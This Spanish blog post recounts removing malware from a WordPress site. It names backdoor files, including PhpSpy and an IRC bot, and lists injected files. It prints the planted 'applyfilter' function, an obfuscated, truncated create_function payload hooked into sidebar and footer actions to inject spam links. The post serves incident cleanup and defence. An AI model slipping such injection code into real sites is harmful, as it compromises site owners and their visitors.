Dreamhost: Infeccion por malware en wordpress.

Hace unos meses, Dreamhost sufrió un ataque en sus servidores.

Semanas mas tarde, recibí un correo de un administrador de sistemas, advirtiendo que mi web enlazaba a la suya, y que posiblemente fuese debido a un malware.

Revisando la instalación de mi web, comprobé que se habían introducido multitud de ficheros html. Estos ficheros introducían multitud de enlaces y palabras claves de spam.

Índice
  1. ¿Como localizar la infección?
  2. Limpiando el código

¿Como localizar la infección?

Google Console - Keywords de malware
Google Console - Keywords de malware

Como se puede ver en la "Herramientas webmaster" de Google, en "Optimización" > "Palabras clave de contenido", el código del malware modifica las palabras clave de nuestro sitio:

Limpiando el código

Debido a que habia pasado mucho tiempo desde el origen de la infección y no tener acceso a los logs del servidor ftp no era posible localizar que ficheros habían sido modificados.

Un primer filtro es determinar que partes del wordpress se habian modificado. Como al explorar la web en "Herramientas webmaster" de Google, simulando ser el bot de google, nos muestra un texto con enlaces "extraños", debemos saber si se trata una modificacion de codigo en el tema, o en los propios ficheros del wordpress.

Una vez modificado el tema utilizado, comprobamos que sigue mostrandose el malware, por lo que deberemos revisar los ficheros de wordpress.

Para realizar una primera limpieza, nos bajamos la web mediante ftp, siendo escaneados los ficheros por nuestro antivirus. En esta primera fase, se han encontrando los siguientes malwares: En \wp-admin\includes, existe un fichero class-wp-theme-edit.php infectado por el malware PHP/Shell.AT. En realidad se trata del script PhpSpy, que permite a un atacante externo acceder al servidor mediante una puerta trasera:

Phpspy - La puerta trasera
Phpspy - La puerta trasera

Ademas en \wp-content\plugins\UltimateTagWarrior hay otro php llamado dsplugin.php, que es un script malicioso en php que es en realidad otra puerta trasera para el atacante de nuestro sitio denominada PHP/IRCBOT.DW.

Para evitar que el atacante siga teniendo acceso a nuestro servidor, y poder volver a infectar el wordpress, ambos ficheros deberán ser eliminados de nuestro servidor web.

También se han incluido nuevos ficheros al wordpress repartidos por varios directorios, donde incluye el código necesario para modificar nuestra web e inyectar su código.

Son los siguientes: \wp-admin\css\class-ziplibs.php \wp-admin\css\options-meta.php |wp-admin\includes\edit-form-header.php \wp-admin\includes\options-foot.php.

Estos ficheros pueden ser eliminados, ya que solo contienen el código malicioso del malware.

Un caso especial fue el caso del fichero \wp-includes\post.template.php. Este fichero fue modificado para incluir una función que nos añade al contenido del primer post de la pagina inicial de wordpress un texto malicioso para posicionar la pagina en determinadas palabras claves y varios enlaces.

Este código se encuentra en la linea 167, en la función the_content:

$content = str_replace(']]>', ']]>', applyfilter($content));

Y cambiarla el codigo eliminando la llamada a la funcion applyfilter por:

$content = str_replace(']]>', ']]>', $content);

Ademas, eliminar las lineas 698 y 699:

add_action('get_sidebar', 'applyfilter', 1, 0);
add_action('get_footer', 'applyfilter', 1, 0);

y la funcion maliciosa applyfilter

function applyfilter($text=null) {
        @ini_set('memory_limit','256M');
        if($text) @ob_start();
        if(1){global $O10O1OO1O;$O10O1OO1O=create_function('$s,$k',"\44\163\75\165\162\154\144\145\143\157\144\145\50\44\163\51\73\40\44\164\141\162\147\145\164\75\47\47\73\44\123\75\47\41\43\44\45$
        if($text) {$out=@ob_get_contents(); @ob_end_clean(); return $text.$out;}
}

Con esto espero haber eliminado todo rastro de malware en la web, así como las puertas traseras encontradas. De todas maneras, habrá que revisar el servidor cada cierto tiempo y comprobar que no se repiten los síntomas.

Después de haber pasado bastante tiempo, he podido comprobar que se ha eliminado por completo la infección de malware. Afortunadamente no se ha vuelto a repetir, pero queda pendiente instalar un plugin de seguridad para dificultar en lo posible que se vuelva a repetir la infección de malware.

Como el revisar el Google Search Console me ha permitido detectar la infección por malware, debido a las keywords en ingles que insertaron en la web, me acostumbrare a revisarlas mas a menudo, por si acaso se vuelve a repetir otros problemas con el malware.

¡Haz clic para puntuar esta entrada!
(Votos: 0 Promedio: 0)

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Subir